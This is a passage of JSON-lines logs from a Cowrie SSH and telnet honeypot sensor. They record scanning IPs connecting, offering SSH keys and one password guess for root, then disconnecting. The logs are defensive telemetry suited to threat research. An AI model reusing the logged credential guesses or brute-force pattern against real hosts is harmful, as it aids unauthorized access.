,"aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.046933Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:2b:bb:70:11:5f:ce:7b:3e:9b:74:48:46:35:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdGxY4nul1Fw+8GeMsqJlIf2lHZViC2hf35xL5sFu6BDd4xPMK1Kkffq0Xw55sjjeoXRMedsZWFFxq20ZZG416+XMHPZBhwzgGXDrX4KpyK9P0sBEs9kiVpx4rHo8axc+C2p+5+reTw4dL6Igwk/fmeVP7GQ1VPm/052U17K0ysMF9Ph6EVqiKspBKq3oQAyCh/PPbFnL2YnTeKlhSN18iez6NiFrEzfqc0FrXuoMYOaVtE6/RHZCFCyB86xNBZKsz2Lr2Dt/FOOrbDt8Oky+i179iLE7LzBYR5GEhSWWwFV25bugo0XN1uQRbz2AqbrKkwcydbnF/7jiDnpiQxkPV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:2b:bb:70:11:5f:ce:7b:3e:9b:74:48:46:35:a7:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.239681Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:2b:bb:70:11:5f:ce:7b:3e:9b:74:48:46:35:a7:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdGxY4nul1Fw+8GeMsqJlIf2lHZViC2hf35xL5sFu6BDd4xPMK1Kkffq0Xw55sjjeoXRMedsZWFFxq20ZZG416+XMHPZBhwzgGXDrX4KpyK9P0sBEs9kiVpx4rHo8axc+C2p+5+reTw4dL6Igwk/fmeVP7GQ1VPm/052U17K0ysMF9Ph6EVqiKspBKq3oQAyCh/PPbFnL2YnTeKlhSN18iez6NiFrEzfqc0FrXuoMYOaVtE6/RHZCFCyB86xNBZKsz2Lr2Dt/FOOrbDt8Oky+i179iLE7LzBYR5GEhSWWwFV25bugo0XN1uQRbz2AqbrKkwcydbnF/7jiDnpiQxkPV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.249206Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:a4:64:28:96:fa:f2:7f:14:62:44:e6:59:bd:48:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzCvRauU5zmGVeEjsNV67zjTaHEG9yKh6A18JE8gzz2xoA3kLPcIp8qrJywRC1o90KOiym4Oxh8OBL3xPeF1tl9Z/whdQLqBq1BRw6hHtX2PSHlaCw4GRwlsxoK43UTb07Hk73TOSnIqkQd7Ad/vlm6Z5Ik/gX7UnXmwZNDtubjbcGHdHE+Za2YpLWqW9NYDyuPaxrs/wFn5+nZl6J2Iwd3OuLtDqfRJ3mgaPOxkUW18TolBEHI7CX224qgRzC+iDSLnX8Nlvxkg7nt7sVA4H9GuAOduIUblSky5my+6Mpag7v7POZ3tlyLWeUSw2UhULAEwEeRP4Mu6hq/2yA4dt58ojuaK9AfSRNSvfvu9yA0pMuvbcxmY6tYd2Vs4cV56V+6jKGnt2dJyDRgOf9Ij8Fd4gU00UGwzAG9oja/kJNr58cIN1tzmgAsfXpehUTM4HS+JTB0pQ0Ly/lEdb/6MzJHsvR81wPkjniVv34oi0devB3ZgoiKYotm3l/tyOtzf+/f78BqBkfRFa9ndpKoI+0teyDJyut2JTAXcFfurrh6dQOqe/FYHKELs5AFTzei8XtRyXhIkkzv9ykYTEqFBxGgjsAobEIfkJziAG30yxbg/Qfed+p9CLVmF+a90jUavpFoRNk9QZ1YwQoogqSFiB+0+NlwdvqhIreX9lpvlY4GQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:a4:64:28:96:fa:f2:7f:14:62:44:e6:59:bd:48:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.293256Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:a4:64:28:96:fa:f2:7f:14:62:44:e6:59:bd:48:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzCvRauU5zmGVeEjsNV67zjTaHEG9yKh6A18JE8gzz2xoA3kLPcIp8qrJywRC1o90KOiym4Oxh8OBL3xPeF1tl9Z/whdQLqBq1BRw6hHtX2PSHlaCw4GRwlsxoK43UTb07Hk73TOSnIqkQd7Ad/vlm6Z5Ik/gX7UnXmwZNDtubjbcGHdHE+Za2YpLWqW9NYDyuPaxrs/wFn5+nZl6J2Iwd3OuLtDqfRJ3mgaPOxkUW18TolBEHI7CX224qgRzC+iDSLnX8Nlvxkg7nt7sVA4H9GuAOduIUblSky5my+6Mpag7v7POZ3tlyLWeUSw2UhULAEwEeRP4Mu6hq/2yA4dt58ojuaK9AfSRNSvfvu9yA0pMuvbcxmY6tYd2Vs4cV56V+6jKGnt2dJyDRgOf9Ij8Fd4gU00UGwzAG9oja/kJNr58cIN1tzmgAsfXpehUTM4HS+JTB0pQ0Ly/lEdb/6MzJHsvR81wPkjniVv34oi0devB3ZgoiKYotm3l/tyOtzf+/f78BqBkfRFa9ndpKoI+0teyDJyut2JTAXcFfurrh6dQOqe/FYHKELs5AFTzei8XtRyXhIkkzv9ykYTEqFBxGgjsAobEIfkJziAG30yxbg/Qfed+p9CLVmF+a90jUavpFoRNk9QZ1YwQoogqSFiB+0+NlwdvqhIreX9lpvlY4GQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.297035Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:15:33:b9:50:ff:d6:79:19:07:ee:69:17:02:c3:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1a6wzEwUXZ5lfhz5azRuts+1vdWcDT2iyylunWUWO6ZgI6tS0Yy03zJI2ey8ot3QG1nEsBky0vnWz0L1k7DQYSK/qYunzIvWpNuankwN7iT2rO6Ax6SnLxiBCsVMIDE2V6lFT+HJ7kXHVPnsyE/ofbAV7w8lHxszcdS1lATBjNlqIuH/BbIEcOoZNL7kVcn2jCl0Ld+orft7BSIxJskvO/rcpa8hWKLwnNs34Efew0L+y4xp/rQhjTnqxAYR7iooYHsJ6onc/QL4jTg3Rhl1WpIPBGiEKLPb2BkY2RER4sBXYQwEril3GxQpSxVDEwaKLpC37B/6+qjOf4XkWEdC6PADEGKNj3LD8B1LJmHPoJcLI/IEsnI6YkNUXlEno5BJVL31kFpKq1o+4hrfbr5Cc6D8rqkjshiLkollK0c8tuPSGSXx4JMhtXHo/K8Ue989pa1l/LgZJZ3PrB/xKb79zUy1SDhUiN0r3P3R47thq1r/rfAh0dnntLHAi13G022Yu0bM6Ubgf85m/D61TMT9as9YfgO5K+jij4nOSam1guQmHIaOJNOXFmEy/AjlL/t9iGT4rHoONgQInMN1O3mib2DRTMXyMCA2sYa+ThxoXO1ldxjtUE1+GA4OyoGWegOdfH+O01vnH5eIoeCnwa/bCcpZueBBCC2TCGKhe33UpQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:15:33:b9:50:ff:d6:79:19:07:ee:69:17:02:c3:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.340622Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:15:33:b9:50:ff:d6:79:19:07:ee:69:17:02:c3:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1a6wzEwUXZ5lfhz5azRuts+1vdWcDT2iyylunWUWO6ZgI6tS0Yy03zJI2ey8ot3QG1nEsBky0vnWz0L1k7DQYSK/qYunzIvWpNuankwN7iT2rO6Ax6SnLxiBCsVMIDE2V6lFT+HJ7kXHVPnsyE/ofbAV7w8lHxszcdS1lATBjNlqIuH/BbIEcOoZNL7kVcn2jCl0Ld+orft7BSIxJskvO/rcpa8hWKLwnNs34Efew0L+y4xp/rQhjTnqxAYR7iooYHsJ6onc/QL4jTg3Rhl1WpIPBGiEKLPb2BkY2RER4sBXYQwEril3GxQpSxVDEwaKLpC37B/6+qjOf4XkWEdC6PADEGKNj3LD8B1LJmHPoJcLI/IEsnI6YkNUXlEno5BJVL31kFpKq1o+4hrfbr5Cc6D8rqkjshiLkollK0c8tuPSGSXx4JMhtXHo/K8Ue989pa1l/LgZJZ3PrB/xKb79zUy1SDhUiN0r3P3R47thq1r/rfAh0dnntLHAi13G022Yu0bM6Ubgf85m/D61TMT9as9YfgO5K+jij4nOSam1guQmHIaOJNOXFmEy/AjlL/t9iGT4rHoONgQInMN1O3mib2DRTMXyMCA2sYa+ThxoXO1ldxjtUE1+GA4OyoGWegOdfH+O01vnH5eIoeCnwa/bCcpZueBBCC2TCGKhe33UpQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.344464Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:0b:bb:a3:0a:72:15:79:de:33:d5:a2:b8:75:f2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCza5oIr+UeVXhEGPDaYjX+NGhNVZrvRK3fcQE9ZrpZprCvjlBusBIhLDI6iERiM1F3nBvuLFvbBrgw8utuX6jr2XaOUzRyFZfzSv5JLhkGFwmdU5rcGbPPajpbGBamRvgRxpoDRKYP7YlooxzVWMLwEKu3VBdDiyIBgiCbco0PHRjYKa29wcdP1GTtphHZhsQyVKXlxfr/P+Tpldj1qNMX6/cKsD0k8gyp1/cxiZ8KTG0zyd8TY098imx4SiND/1CXlCZhoRYIFj3YBrY8lmXlPwfcp/FAL9g9GO7CAILPWx+gA3Sx45ZQNWhY4LchSE6Cm3Vy0TRjXqdFfE0or+L0y3lN8ZUhNJY3lXniByNAvcfHJRjK9qmXdO/oB2uH+4BF8GinzyEqkckTBdSaPHTb5vOK7DIo8bWsqKOlO4LWMaf1lhYtHI7tbbE748eHocICQ2oue6vXdr/Lk5Yq/2FzXunYfTTwrsmGxwEuDS/BqbPAZmQwngxlfgLnvi7Dsef9/aly24Mo1+JDCDz/YZUDbmzRFb8073kPh/lYB6kekYeTW7N3JWqgBCdfzvu9EzwdCpemd+C59Tb0k0HXyZKNHUPa0uo/PKX5CAWFdvt+j1y+nylk/nyZ57BovrEk1z1KUcrS84NFr0lBQ0NaE3OzER/1BMJeq3rgk4nHt0A96w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:0b:bb:a3:0a:72:15:79:de:33:d5:a2:b8:75:f2:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.388338Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:0b:bb:a3:0a:72:15:79:de:33:d5:a2:b8:75:f2:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCza5oIr+UeVXhEGPDaYjX+NGhNVZrvRK3fcQE9ZrpZprCvjlBusBIhLDI6iERiM1F3nBvuLFvbBrgw8utuX6jr2XaOUzRyFZfzSv5JLhkGFwmdU5rcGbPPajpbGBamRvgRxpoDRKYP7YlooxzVWMLwEKu3VBdDiyIBgiCbco0PHRjYKa29wcdP1GTtphHZhsQyVKXlxfr/P+Tpldj1qNMX6/cKsD0k8gyp1/cxiZ8KTG0zyd8TY098imx4SiND/1CXlCZhoRYIFj3YBrY8lmXlPwfcp/FAL9g9GO7CAILPWx+gA3Sx45ZQNWhY4LchSE6Cm3Vy0TRjXqdFfE0or+L0y3lN8ZUhNJY3lXniByNAvcfHJRjK9qmXdO/oB2uH+4BF8GinzyEqkckTBdSaPHTb5vOK7DIo8bWsqKOlO4LWMaf1lhYtHI7tbbE748eHocICQ2oue6vXdr/Lk5Yq/2FzXunYfTTwrsmGxwEuDS/BqbPAZmQwngxlfgLnvi7Dsef9/aly24Mo1+JDCDz/YZUDbmzRFb8073kPh/lYB6kekYeTW7N3JWqgBCdfzvu9EzwdCpemd+C59Tb0k0HXyZKNHUPa0uo/PKX5CAWFdvt+j1y+nylk/nyZ57BovrEk1z1KUcrS84NFr0lBQ0NaE3OzER/1BMJeq3rgk4nHt0A96w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.392601Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:9c:3c:e5:fd:d4:63:82:6a:e3:5a:a9:08:ca:53:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8OI5vHkQYMjFwfhr49R4a1pe36xpWNIY9foIk+jAoSr5DQEA1bbQO9VMm8KgfbldEP9LMM8d96lWVUoe1F6bt5FNA3mUtReTEENlAWKD6ZP6xb06+D7RK0MsNjBQW8IqJN41v5ESVCTP+guvleP+nHU3puSADFjLL1ZrZkrV9mzMMsEMkJDd+pomsg8rTLKXp+T/+/G3zROZN6iEL4IHQeDh8QqAtGL8ZA11PQGqOgKSSW73Z81g0BYhZfSMBUrcbxuXwvnK9Fmc8NyF0+NzNbxrQTYVr/OI6PKEtmw6i+L9fFc7JVUtkjPAqdIj7LXjEGLPtjVqbqsGsxzwOp3WyD3I+1kRKcJlgQTkVuCFgQmuLD1UiysniZqWm6j7gES7iBF3wpxeYa21LzF/CgyDDT4DE9BL+Tcgm6G7Q7HGhnPPIkFaTQpHbE/noaMcGxOkkjqGqVFWrqzwwKV5lXsnZMNmHmla24JplPzr7b742Mniiel5oowL80Odi40RXbSM5TdnnRVekRJCNcpOKPg+AHl76qqFr5+A2ta1a9qh2aEzeEZgA+ovYWX/g/1P6dmxEle4qS1MUa/89NhKhc1KssmdB86+/hof15/yGPQ2zZgUIRh9ewWtZXWbRWe7tg45i8bS7Q6muJYGX+UXh6e7Nyxm/gV2xfc9lPPf9BbgF4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:9c:3c:e5:fd:d4:63:82:6a:e3:5a:a9:08:ca:53:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.437131Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:9c:3c:e5:fd:d4:63:82:6a:e3:5a:a9:08:ca:53:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8OI5vHkQYMjFwfhr49R4a1pe36xpWNIY9foIk+jAoSr5DQEA1bbQO9VMm8KgfbldEP9LMM8d96lWVUoe1F6bt5FNA3mUtReTEENlAWKD6ZP6xb06+D7RK0MsNjBQW8IqJN41v5ESVCTP+guvleP+nHU3puSADFjLL1ZrZkrV9mzMMsEMkJDd+pomsg8rTLKXp+T/+/G3zROZN6iEL4IHQeDh8QqAtGL8ZA11PQGqOgKSSW73Z81g0BYhZfSMBUrcbxuXwvnK9Fmc8NyF0+NzNbxrQTYVr/OI6PKEtmw6i+L9fFc7JVUtkjPAqdIj7LXjEGLPtjVqbqsGsxzwOp3WyD3I+1kRKcJlgQTkVuCFgQmuLD1UiysniZqWm6j7gES7iBF3wpxeYa21LzF/CgyDDT4DE9BL+Tcgm6G7Q7HGhnPPIkFaTQpHbE/noaMcGxOkkjqGqVFWrqzwwKV5lXsnZMNmHmla24JplPzr7b742Mniiel5oowL80Odi40RXbSM5TdnnRVekRJCNcpOKPg+AHl76qqFr5+A2ta1a9qh2aEzeEZgA+ovYWX/g/1P6dmxEle4qS1MUa/89NhKhc1KssmdB86+/hof15/yGPQ2zZgUIRh9ewWtZXWbRWe7tg45i8bS7Q6muJYGX+UXh6e7Nyxm/gV2xfc9lPPf9BbgF4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.443402Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:24.487801Z","src_ip":"148.153.245.161","session":"30a23ed11a3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4347fcc4b4e0","protocol":"ssh","message":"New connection: 193.228.128.84:53522 (159.203.135.109:22) [session: 4347fcc4b4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:26.890632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:26.895147Z","src_ip":"193.228.128.84","session":"4347fcc4b4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:26.997001Z","src_ip":"193.228.128.84","session":"4347fcc4b4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfrnec","message":"login attempt [root/rfrnec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:27.302910Z","src_ip":"193.228.128.84","session":"4347fcc4b4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:28.407642Z","src_ip":"193.228.128.84","session":"4347fcc4b4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45826,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e8e15bcfa53","protocol":"ssh","message":"New connection: 47.237.167.49:45826 (159.203.135.109:22) [session: 7e8e15bcfa53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:28.511867Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"934da30ff658","protocol":"telnet","message":"New connection: 152.42.224.71:50290 (10.17.0.5:23) [session: 934da30ff658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:29.844756Z"}
{"eventid":"cowrie.session.closed","duration":50.321001291275024,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:30.714575Z","src_ip":"152.42.224.71","session":"20ee84db64c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2211754322052,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:32.320377Z","src_ip":"152.42.224.71","session":"020e4651507f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50300,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7a7b9266aa","protocol":"telnet","message":"New connection: 152.42.224.71:50300 (10.17.0.5:23) [session: 3b7a7b9266aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:34.445191Z"}
{"eventid":"cowrie.session.closed","duration":49.239158153533936,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:35.339468Z","src_ip":"152.42.224.71","session":"ddf40eb3a6e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80e55868c2d","protocol":"telnet","message":"New connection: 152.42.224.71:50310 (10.17.0.5:23) [session: c80e55868c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:35.468966Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"e114176bdabe","protocol":"telnet","message":"New connection: 152.42.224.71:57112 (10.17.0.5:23) [session: e114176bdabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:43.408605Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57126,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a8cb66779b","protocol":"telnet","message":"New connection: 152.42.224.71:57126 (10.17.0.5:23) [session: e7a8cb66779b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:43.698736Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e2e480c131","protocol":"telnet","message":"New connection: 152.42.224.71:57132 (10.17.0.5:23) [session: c0e2e480c131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:44.919903Z"}
{"eventid":"cowrie.session.closed","duration":112.07037281990051,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:48.018213Z","src_ip":"152.42.224.71","session":"4e9ef1738b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:48.558005Z","src_ip":"47.237.167.49","session":"7e8e15bcfa53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":55336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5251efdb5d71","protocol":"ssh","message":"New connection: 45.156.87.204:55336 (159.203.135.109:22) [session: 5251efdb5d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:49.405303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:49.410232Z","src_ip":"45.156.87.204","session":"5251efdb5d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:27:49.492399Z","src_ip":"45.156.87.204","session":"5251efdb5d71","protocol":"ssh"}
